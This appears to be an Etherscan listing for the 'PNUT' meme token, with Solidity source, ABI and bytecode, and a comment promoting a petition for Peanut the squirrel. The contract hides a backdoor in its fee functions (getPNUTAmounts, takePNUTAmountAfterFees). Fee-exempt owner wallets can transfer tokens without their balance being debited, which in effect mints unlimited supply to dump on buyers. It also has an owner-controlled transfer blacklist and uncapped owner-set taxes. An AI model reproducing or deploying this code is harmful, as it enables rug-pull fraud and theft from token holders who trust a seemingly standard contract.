Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 Pnut
Holders
148
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
680,544.792075185233302035 PnutValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PNUT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-03 */ /** It’s our job to help save peanut the squirrel! Sign the petition! https://www.change.org/p/call-for-justice-for-peanut-the-squirrel-and-nysdec-reform **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); } contract PNUT is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string private _name; string private _symbol; uint8 constant _decimals = 18; uint256 public _totalSupply = 1_000_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 100) / 100; uint256 public _swapPNUTThreshHold = (_totalSupply * 1)/ 10000; uint256 public _maxTaxSwap=(_totalSupply * 10) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) private PNUTs; address public _PNUTWallet; address public pair; IUniswapV2Router02 public router; bool public swapEnabled = false; bool public PNUTFeeEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=0; uint256 private _initSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address PNUTWallet, string memory name_, string memory symbol_) Ownable(msg.sender) { address _owner = owner; _PNUTWallet = PNUTWallet; _name = name_; _symbol = symbol_; isFeeExempt[_owner] = true; isFeeExempt[_PNUTWallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_PNUTWallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function withdrawPNUTBalance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function enablePNUTTrade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; PNUTFeeEnabled = true; swapEnabled = true; } function getPNUTAmounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) { uint256 sAmount = takeFee ? tAmount : PNUTFeeEnabled ? takePNUTAmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 rAmount = PNUTFeeEnabled && takeFee ? takePNUTAmountAfterFees(action, takeFee, tAmount) : tAmount; return (sAmount, rAmount); } function decimals() external pure override returns (uint8) { return _decimals; } function internalSwapBackEth(uint256 amount) private lockTheSwap { uint256 tokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 ethAmountFor = address(this).balance; payable(_PNUTWallet).transfer(ethAmountFor); } function removePNUTLimit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function takePNUTAmountAfterFees(uint PNUTActions, bool PNUTTakefee, uint256 amounts) internal returns (uint256) { uint256 PNUTPercents; uint256 PNUTFeePrDenominator = 100; if(PNUTTakefee) { if(PNUTActions > 1) { PNUTPercents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax); } else { if(PNUTActions > 0) { PNUTPercents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax); } else { PNUTPercents = 0; } } } else { PNUTPercents = 1; } uint256 feeAmounts = amounts.mul(PNUTPercents).div(PNUTFeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = PNUTTakefee ? feeAmounts : amounts.div(PNUTPercents); return amounts.sub(feeAmounts); } receive() external payable { } function _transferTaxTokens( address sender, address recipient, uint256 amount, uint action, bool takeFee ) internal returns (bool) { uint256 senderAmount; uint256 recipientAmount; (senderAmount, recipientAmount) = getPNUTAmounts(action, takeFee, amount); _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, amount); return true; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function createPNUTTrade() external onlyOwner { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function inSwapPNUTTokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) { uint256 minPNUTTokens = pLimit; uint256 tokenPNUTWeight = pAmount; uint256 contractPNUTOverWeight = balanceOf(address(this)); bool isSwappable = contractPNUTOverWeight > minPNUTTokens && tokenPNUTWeight > minPNUTTokens; return !inSwap && isIncludeFees && isSwapActions > 1 && isSwappable && swapEnabled; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{ _finalBuyTax=_newFee; } function reduceFinalSellTax(uint256 _newFee) external onlyOwner{ _finalSellTax=_newFee; } function isPNUTUserBuy(address sender, address recipient) internal view returns (bool) { return recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]; } function isTakePNUTActions(address from, address to) internal view returns (bool, uint) { uint _actions = 0; bool _isTakeFee = isTakeFees(from); if(to == pair) { _actions = 2; } else if (from == pair) { _actions = 1; } else { _actions = 0; } return (_isTakeFee, _actions); } function addPNUTs(address[] memory PNUTs_) public onlyOwner { for (uint i = 0; i < PNUTs_.length; i++) { PNUTs[PNUTs_[i]] = true; } } function delPNUTs(address[] memory notPNUT) public onlyOwner { for (uint i = 0; i < notPNUT.length; i++) { PNUTs[notPNUT[i]] = false; } } function isPNUT(address a) public view returns (bool){ return PNUTs[a]; } function _transferStandardTokens( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; require(!PNUTs[sender] && !PNUTs[recipient]); if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (isPNUTUserBuy(sender, recipient)) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } (takefee, actions) = isTakePNUTActions(sender, recipient); if (inSwapPNUTTokens(takefee, actions, amount, _swapPNUTThreshHold)) { internalSwapBackEth(amount); } _transferTaxTokens(sender, recipient, amount, actions, takefee); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferStandardTokens(sender, recipient, amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferStandardTokens(msg.sender, recipient, amount); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"PNUTWallet","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PNUTFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PNUTWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapPNUTThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"PNUTs_","type":"address[]"}],"name":"addPNUTs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPNUTTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notPNUT","type":"address[]"}],"name":"delPNUTs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enablePNUTTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isPNUT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removePNUTLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawPNUTBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620000ac919062000743565b633b9aca00620000bd919062000794565b600555606480600554620000d2919062000794565b620000de91906200080e565b6006556127106001600554620000f5919062000794565b6200010191906200080e565b600755612710600a60055462000118919062000794565b6200012491906200080e565b6008556000601060146101000a81548160ff0219169083151502179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601155600060125560006013556000601455600060155560006016556000601755348015620001a857600080fd5b50604051620047cd380380620047cd8339818101604052810190620001ce919062000a3e565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826003908162000288919062000d19565b5081600490816200029a919062000d19565b506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600554600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000597919062000e11565b60405180910390a35050505062000e2e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000637578086048111156200060f576200060e620005a9565b5b60018516156200061f5780820291505b80810290506200062f85620005d8565b9450620005ef565b94509492505050565b60008262000652576001905062000725565b8162000662576000905062000725565b81600181146200067b57600281146200068657620006bc565b600191505062000725565b60ff8411156200069b576200069a620005a9565b5b8360020a915084821115620006b557620006b4620005a9565b5b5062000725565b5060208310610133831016604e8410600b8410161715620006f65782820a905083811115620006f057620006ef620005a9565b5b62000725565b620007058484846001620005e5565b925090508184048111156200071f576200071e620005a9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000750826200072c565b91506200075d8362000736565b92506200078c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000640565b905092915050565b6000620007a1826200072c565b9150620007ae836200072c565b9250828202620007be816200072c565b91508282048414831517620007d857620007d7620005a9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200081b826200072c565b915062000828836200072c565b9250826200083b576200083a620007df565b5b828204905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000887826200085a565b9050919050565b62000899816200087a565b8114620008a557600080fd5b50565b600081519050620008b9816200088e565b92915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200091482620008c9565b810181811067ffffffffffffffff82111715620009365762000935620008da565b5b80604052505050565b60006200094b62000846565b905062000959828262000909565b919050565b600067ffffffffffffffff8211156200097c576200097b620008da565b5b6200098782620008c9565b9050602081019050919050565b60005b83811015620009b457808201518184015260208101905062000997565b60008484015250505050565b6000620009d7620009d1846200095e565b6200093f565b905082815260208101848484011115620009f657620009f5620008c4565b5b62000a0384828562000994565b509392505050565b600082601f83011262000a235762000a22620008bf565b5b815162000a35848260208601620009c0565b91505092915050565b60008060006060848603121562000a5a5762000a5962000850565b5b600062000a6a86828701620008a8565b935050602084015167ffffffffffffffff81111562000a8e5762000a8d62000855565b5b62000a9c8682870162000a0b565b925050604084015167ffffffffffffffff81111562000ac05762000abf62000855565b5b62000ace8682870162000a0b565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2b57607f821691505b60208210810362000b415762000b4062000ae3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b6c565b62000bb7868362000b6c565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000bfa62000bf462000bee846200072c565b62000bcf565b6200072c565b9050919050565b6000819050919050565b62000c168362000bd9565b62000c2e62000c258262000c01565b84845462000b79565b825550505050565b600090565b62000c4562000c36565b62000c5281848462000c0b565b505050565b5b8181101562000c7a5762000c6e60008262000c3b565b60018101905062000c58565b5050565b601f82111562000cc95762000c938162000b47565b62000c9e8462000b5c565b8101602085101562000cae578190505b62000cc662000cbd8562000b5c565b83018262000c57565b50505b505050565b600082821c905092915050565b600062000cee6000198460080262000cce565b1980831691505092915050565b600062000d09838362000cdb565b9150826002028217905092915050565b62000d248262000ad8565b67ffffffffffffffff81111562000d405762000d3f620008da565b5b62000d4c825462000b12565b62000d5982828562000c7e565b600060209050601f83116001811462000d91576000841562000d7c578287015190505b62000d88858262000cfb565b86555062000df8565b601f19841662000da18662000b47565b60005b8281101562000dcb5784890151825560018201915060208501945060208101905062000da4565b8683101562000deb578489015162000de7601f89168262000cdb565b8355505b6001600288020188555050505b505050505050565b62000e0b816200072c565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b61398f8062000e3e6000396000f3fe6080604052600436106101dc5760003560e01c80636ce424751161010257806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610687578063bc6fb5d0146106c4578063dd62ed3e146106db578063f887ea4014610718576101e3565b806395d89b41146105db5780639d7d9d2d14610606578063a83d1a1e14610631578063a8aa1b311461065c576101e3565b8063788568c2116100d1578063788568c2146105335780637aacf62a14610570578063893d20e814610587578063923678df146105b2576101e3565b80636ce424751461048b5780636ddd1713146104b457806370a08231146104df578063715018a61461051c576101e3565b8063135107af1161017a5780632f54bf6e116101495780632f54bf6e146103cd578063313ce5671461040a5780633eaaf86b146104355780636c0a24eb14610460576101e3565b8063135107af1461032557806318160ddd1461033c57806323b872dd146103675780632c743eac146103a4576101e3565b806308fd3d05116101b657806308fd3d0514610269578063095ea7b3146102945780630e79620a146102d15780630faee56f146102fa576101e3565b806303f5f340146101e857806306fdde031461021357806307d3ffbd1461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610743565b60405161020a9190612a94565b60405180910390f35b34801561021f57600080fd5b5061022861079d565b6040516102359190612b3f565b60405180910390f35b34801561024a57600080fd5b5061025361082f565b6040516102609190612ba2565b60405180910390f35b34801561027557600080fd5b5061027e610855565b60405161028b9190612a94565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612c33565b610868565b6040516102c89190612a94565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190612dbb565b61095a565b005b34801561030657600080fd5b5061030f610a37565b60405161031c9190612e13565b60405180910390f35b34801561033157600080fd5b5061033a610a3d565b005b34801561034857600080fd5b50610351610ecc565b60405161035e9190612e13565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612e2e565b610ed6565b60405161039b9190612a94565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612e81565b6110d6565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612eae565b611128565b6040516104019190612a94565b60405180910390f35b34801561041657600080fd5b5061041f611181565b60405161042c9190612ef7565b60405180910390f35b34801561044157600080fd5b5061044a61118a565b6040516104579190612e13565b60405180910390f35b34801561046c57600080fd5b50610475611190565b6040516104829190612e13565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad9190612e81565b611196565b005b3480156104c057600080fd5b506104c96111e8565b6040516104d69190612a94565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612eae565b6111fb565b6040516105139190612e13565b60405180910390f35b34801561052857600080fd5b50610531611244565b005b34801561053f57600080fd5b5061055a60048036038101906105559190612eae565b611307565b6040516105679190612a94565b60405180910390f35b34801561057c57600080fd5b5061058561135d565b005b34801561059357600080fd5b5061059c611448565b6040516105a99190612ba2565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d49190612dbb565b611471565b005b3480156105e757600080fd5b506105f061154e565b6040516105fd9190612b3f565b60405180910390f35b34801561061257600080fd5b5061061b6115e0565b6040516106289190612e13565b60405180910390f35b34801561063d57600080fd5b506106466115e6565b6040516106539190612a94565b60405180910390f35b34801561066857600080fd5b506106716115f9565b60405161067e9190612ba2565b60405180910390f35b34801561069357600080fd5b506106ae60048036038101906106a99190612c33565b61161f565b6040516106bb9190612a94565b60405180910390f35b3480156106d057600080fd5b506106d9611634565b005b3480156106e757600080fd5b5061070260048036038101906106fd9190612f12565b611708565b60405161070f9190612e13565b60405180910390f35b34801561072457600080fd5b5061072d61178f565b60405161073a9190612fb1565b60405180910390f35b600061074e33611128565b61078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078490613018565b60405180910390fd5b6005546006819055506001905090565b6060600380546107ac90613067565b80601f01602080910402602001604051908101604052809291908181526020018280546107d890613067565b80156108255780601f106107fa57610100808354040283529160200191610825565b820191906000526020600020905b81548152906001019060200180831161080857829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109489190612e13565b60405180910390a36001905092915050565b61096333611128565b6109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990613018565b60405180910390fd5b60005b8151811015610a33576001600d60008484815181106109c7576109c6613098565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a2b906130f6565b9150506109a5565b5050565b60085481565b610a4633611128565b610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c90613018565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190613153565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c189190613153565b6040518363ffffffff1660e01b8152600401610c35929190613180565b6020604051808303816000875af1158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190613153565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffff